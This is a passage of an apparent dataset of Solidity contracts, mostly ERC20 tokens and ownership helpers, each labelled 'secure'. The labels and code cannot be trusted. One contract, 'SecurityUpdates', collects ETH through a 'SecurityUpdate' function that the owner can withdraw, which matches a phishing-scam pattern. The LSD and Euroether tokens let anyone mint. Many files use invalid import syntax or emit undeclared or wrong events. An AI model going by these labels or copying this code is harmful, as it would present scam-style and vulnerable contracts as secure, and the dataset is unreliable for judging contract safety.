"file_name": "solidity_code_157.sol",
"secure": 1,
"size_bytes": 7062
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GOGO is IERC20 {\n string public constant name = \"GOGO HIGH LEVEL\";\n string public constant symbol = \"GOGO\";\n uint8 public constant decimals = 18;\n uint256 public constant totalSupply = 6666000000000 * 10 ** 18;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(_balances[msg.sender] >= amount, \"ERR_OWN_BALANCE_NOT_ENOUGH\");\n require(msg.sender != recipient, \"ERR_SENDER_IS_RECEIVER\");\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(_balances[sender] >= amount, \"ERR_FROM_BALANCE_NOT_ENOUGH\");\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERR_ALLOWANCE_NOT_ENOUGH\"\n );\n _balances[sender] -= amount;\n _allowances[sender][msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}",
"file_name": "solidity_code_1570.sol",
"secure": 1,
"size_bytes": 2129
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FLP is ERC20 {\n constructor() ERC20(unicode\"FLP Standard\", unicode\"FLP\") {\n _mint(msg.sender, 5000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1571.sol",
"secure": 1,
"size_bytes": 286
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract AudiblesKeyManagerProxyStorage {\n address public implementation;\n address public owner;\n address public audiblesContract;\n}",
"file_name": "solidity_code_1572.sol",
"secure": 1,
"size_bytes": 216
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./AudiblesKeyManagerProxyStorage.sol\" as AudiblesKeyManagerProxyStorage;\n\nabstract contract AudiblesKeyManagerStorage is AudiblesKeyManagerProxyStorage {\n uint16[5] public keysPerGrid;\n mapping(address => uint16) public keys;\n mapping(address => uint16) public phaseOneKeys;\n mapping(address => uint16) public phaseTwoKeys;\n mapping(address => bool) public uploadImageUnlocked;\n}",
"file_name": "solidity_code_1573.sol",
"secure": 1,
"size_bytes": 472
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory tokenName, string memory tokenSymbol) {\n _name = tokenName;\n _symbol = tokenSymbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_1574.sol",
"secure": 1,
"size_bytes": 3948
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CHUNKS is ERC20 {\n constructor()\n ERC20(\n \"CrypticMaestroBorovikCryptoMattBenETHChiroJasonCryptoApeRealDogenIamEricCryptomanCryptoPunkBotSkullNotEezzyThorKiritoChadCaffMadApesBrootsBenBuckWalterAeonGemsOfRaGandalfCryptoAndrewTateGregElonMuskX\",\n \"CHUNKS\"\n )\n {\n uint256 initialSupply = 1000000000;\n _mint(msg.sender, initialSupply * (10 ** decimals()));\n }\n}",
"file_name": "solidity_code_1575.sol",
"secure": 1,
"size_bytes": 566
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TOKEN100LP is ERC20, Ownable {\n constructor() ERC20(\"100LP\", \"100LP\") {\n _mint(msg.sender, 999999999999999 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1576.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract IERC223Recipient {\n struct ERC223TransferInfo {\n address token_contract;\n address sender;\n uint256 value;\n bytes data;\n }\n\n ERC223TransferInfo private tkn;\n uint256 loopnum;\n\n function tokenFallback(\n address _from,\n uint256 _value,\n bytes memory _data\n ) public virtual {\n tkn.token_contract = msg.sender;\n tkn.sender = _from;\n tkn.value = _value;\n tkn.data = _data;\n\n for (uint256 i = 3; i <= loopnum; i++) {\n require(i - 1 > 1);\n }\n }\n}",
"file_name": "solidity_code_1577.sol",
"secure": 1,
"size_bytes": 673
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IERC223Recipient.sol\" as IERC223Recipient;\n\ncontract MyContract is IERC223Recipient {\n function setnum(uint256 num) public {\n loopnum = num;\n }\n}",
"file_name": "solidity_code_1578.sol",
"secure": 1,
"size_bytes": 242
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GaugeWhiteList is Ownable {\n bool public isEnabledVerification = true;\n\n mapping(address => bool) public isWhitelistedPool;\n mapping(address => bool) public isWhitelistedToken;\n\n function addPool(address _pool) external onlyOwner {\n isWhitelistedPool[_pool] = true;\n }\n\n function removePool(address _pool) external onlyOwner {\n isWhitelistedPool[_pool] = false;\n }\n\n function addToken(address _token) external onlyOwner {\n isWhitelistedToken[_token] = true;\n }\n\n function removeToken(address _token) external onlyOwner {\n isWhitelistedToken[_token] = false;\n }\n\n function enableVerification() external onlyOwner {\n isEnabledVerification = true;\n }\n\n function disableVerification() external onlyOwner {\n isEnabledVerification = false;\n }\n\n function verify(\n address token0,\n address token1,\n address pool\n ) external view returns (bool) {\n if (!isEnabledVerification) return true;\n\n if (isWhitelistedPool[pool]) return true;\n\n if (isWhitelistedToken[token0] || isWhitelistedToken[token1]) {\n return true;\n } else {\n return false;\n }\n }\n}",
"file_name": "solidity_code_1579.sol",
"secure": 1,
"size_bytes": 1399
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousowner,\n address indexed newowner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit ownershipTransferred(address(0), msgSender);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyowner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceownership() public virtual onlyowner {\n emit ownershipTransferred(\n _owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n _owner = address(0x000000000000000000000000000000000000dEaD);\n }\n}",
"file_name": "solidity_code_158.sol",
"secure": 1,
"size_bytes": 973
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Among is ERC20, Ownable {\n constructor() ERC20(\"Among\", \"AMONG\") {\n _mint(msg.sender, 420690000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1580.sol",
"secure": 1,
"size_bytes": 351
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Epoch is ERC20, Ownable {\n constructor() ERC20(\"Epoch\", \"EPOCH\") {\n _mint(msg.sender, 1702242653 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1581.sol",
"secure": 1,
"size_bytes": 343
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ProofOfPikachu is ERC20 {\n constructor() ERC20(\"Proof Of Pikachu\", \"POP\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1582.sol",
"secure": 1,
"size_bytes": 284
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IOwnableEvents {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n}",
"file_name": "solidity_code_1583.sol",
"secure": 1,
"size_bytes": 219
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IOwnable {\n function transferOwnership(address nextOwner_) external;\n\n function cancelOwnershipTransfer() external;\n\n function acceptOwnership() external;\n\n function renounceOwnership() external;\n\n function isOwner() external view returns (bool);\n\n function isNextOwner() external view returns (bool);\n}",
"file_name": "solidity_code_1584.sol",
"secure": 1,
"size_bytes": 418
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./IOwnable.sol\" as IOwnable;\nimport \"./IOwnableEvents.sol\" as IOwnableEvents;\n\ncontract Ownable is IOwnable, IOwnableEvents {\n address public owner;\n address private nextOwner;\n\n modifier onlyOwner() {\n require(isOwner(), \"caller is not the owner.\");\n _;\n }\n\n modifier onlyNextOwner() {\n require(isNextOwner(), \"current owner must set caller as next owner.\");\n _;\n }\n\n constructor(address owner_) {\n _setInitialOwner(owner_);\n }\n\n function transferOwnership(address nextOwner_) external override onlyOwner {\n require(nextOwner_ != address(0), \"Next owner is the zero address.\");\n\n nextOwner = nextOwner_;\n }\n\n function cancelOwnershipTransfer() external override onlyOwner {\n delete nextOwner;\n }\n\n function acceptOwnership() external override onlyNextOwner {\n delete nextOwner;\n\n owner = msg.sender;\n\n emit OwnershipTransferred(owner, msg.sender);\n }\n\n function renounceOwnership() external override onlyOwner {\n _renounceOwnership();\n }\n\n function isOwner() public view override returns (bool) {\n return msg.sender == owner;\n }\n\n function isNextOwner() public view override returns (bool) {\n return msg.sender == nextOwner;\n }\n\n function _setOwner(address previousOwner, address newOwner) internal {\n owner = newOwner;\n emit OwnershipTransferred(previousOwner, owner);\n }\n\n function _setInitialOwner(address newOwner) internal {\n owner = newOwner;\n emit OwnershipTransferred(address(0), newOwner);\n }\n\n function _renounceOwnership() internal {\n emit OwnershipTransferred(owner, address(0));\n\n owner = address(0);\n }\n}",
"file_name": "solidity_code_1585.sol",
"secure": 1,
"size_bytes": 1886
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface IERC20Metadata {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}",
"file_name": "solidity_code_1586.sol",
"secure": 1,
"size_bytes": 280
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface ILSDToken {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1587.sol",
"secure": 1,
"size_bytes": 875
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./ILSDToken.sol\" as ILSDToken;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract LSD is Context, ILSDToken, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function mint(uint256 _amount) public {\n _mint(msg.sender, _amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1588.sol",
"secure": 1,
"size_bytes": 5995
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChilledPandas is ERC721A, Ownable {\n constructor() ERC721A(\"Chilled Pandas\", \"CP\") {}\n\n string _baseTokenURI;\n mapping(address => uint256) _minted;\n uint256 private maxTokens;\n bool private saleStatus = true;\n\n function mint() public {\n require(totalSupply() < maxTokens, \"Max tokens minted\");\n require(_minted[msg.sender] < 1, \"Cant mint more than 1 token\");\n require(saleStatus, \"Mint is not live\");\n _minted[msg.sender] += 1;\n _mint(msg.sender, 1);\n }\n\n function mintForAddress(address _to, uint256 _amount) external onlyOwner {\n require(totalSupply() + _amount <= maxTokens, \"Max tokens minted\");\n _mint(_to, _amount);\n }\n\n function Update(uint256 _supply) external onlyOwner {\n maxTokens = _supply;\n }\n\n function setStatus(bool status) external onlyOwner {\n saleStatus = status;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string memory baseURI) public onlyOwner {\n _baseTokenURI = baseURI;\n }\n}",
"file_name": "solidity_code_1589.sol",
"secure": 1,
"size_bytes": 1324
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BelfToken is ERC20, Ownable {\n constructor() ERC20(\"Belf Token\", \"BELF\") {\n _mint(msg.sender, 420_000_000_000_000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_159.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SONIC is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"The Supersonic INU\", \"SONIC\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1590.sol",
"secure": 1,
"size_bytes": 465
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MONOLETHER is ERC20, Ownable {\n constructor() ERC20(\"MONOLETHER\", \"$MNLETH\") {\n _mint(msg.sender, 2001000002001 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1591.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Euroether is IERC20 {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"Euroether\";\n _symbol = \"EUTH\";\n _totalSupply = 1000000000 * 10 ** 18;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[msg.sender][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function mintMinerReward() public {\n _mint(block.coinbase, 1000);\n }\n}",
"file_name": "solidity_code_1592.sol",
"secure": 1,
"size_bytes": 5716
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface MintContract {\n function mint(address, uint256) external;\n}",
"file_name": "solidity_code_1593.sol",
"secure": 1,
"size_bytes": 143
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./mintContract.sol\" as mintContract;\n\ncontract Q00tsStandWithZach {\n error WrongValueSent();\n error MintZeroItems();\n\n uint256 public constant PUBLIC_MINT_PRICE = 0.03 ether;\n\n mintContract private constant Q00NICORNS =\n mintContract(0xb1b853a1aaC513f2aB91133Ca8AE5d78c24cB828);\n mintContract private constant Q00TANTS =\n mintContract(0x862c9B564fbDD34983Ed3655aA9F68E0ED86C620);\n address public constant ZACHXBT =\n 0x6eA158145907a1fAc74016087611913A96d96624;\n\n function mint(uint256 numQ00tants, uint256 numQ00nicorns) external payable {\n uint256 amount;\n unchecked {\n amount = numQ00nicorns + numQ00tants;\n }\n\n if (amount == 0) revert MintZeroItems();\n if (msg.value != PUBLIC_MINT_PRICE * amount) revert WrongValueSent();\n\n if (numQ00tants > 0) Q00TANTS.mint(msg.sender, numQ00tants);\n if (numQ00nicorns > 0) Q00NICORNS.mint(msg.sender, numQ00nicorns);\n }\n\n function withdraw() public payable {\n (bool success, ) = payable(ZACHXBT).call{value: address(this).balance}(\n \"\"\n );\n require(success);\n }\n}",
"file_name": "solidity_code_1594.sol",
"secure": 1,
"size_bytes": 1256
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WorldPeaceOne is ERC20 {\n constructor() ERC20(\"World Peace One\", \"WP1\") {\n _mint(msg.sender, 100000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_1595.sol",
"secure": 1,
"size_bytes": 276
} |
{
"code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0));\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n}",
"file_name": "solidity_code_1596.sol",
"secure": 1,
"size_bytes": 581
} |
{
"code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SecurityUpdates is Ownable {\n receive() external payable {}\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function SecurityUpdate() public payable {}\n\n function getBalance() public view returns (uint256) {\n return address(this).balance;\n }\n}",
"file_name": "solidity_code_1597.sol",
"secure": 1,
"size_bytes": 484
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DarkMeta is ERC20 {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() ERC20(\"Dark Meta Official\", \"DMT\") {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_1598.sol",
"secure": 1,
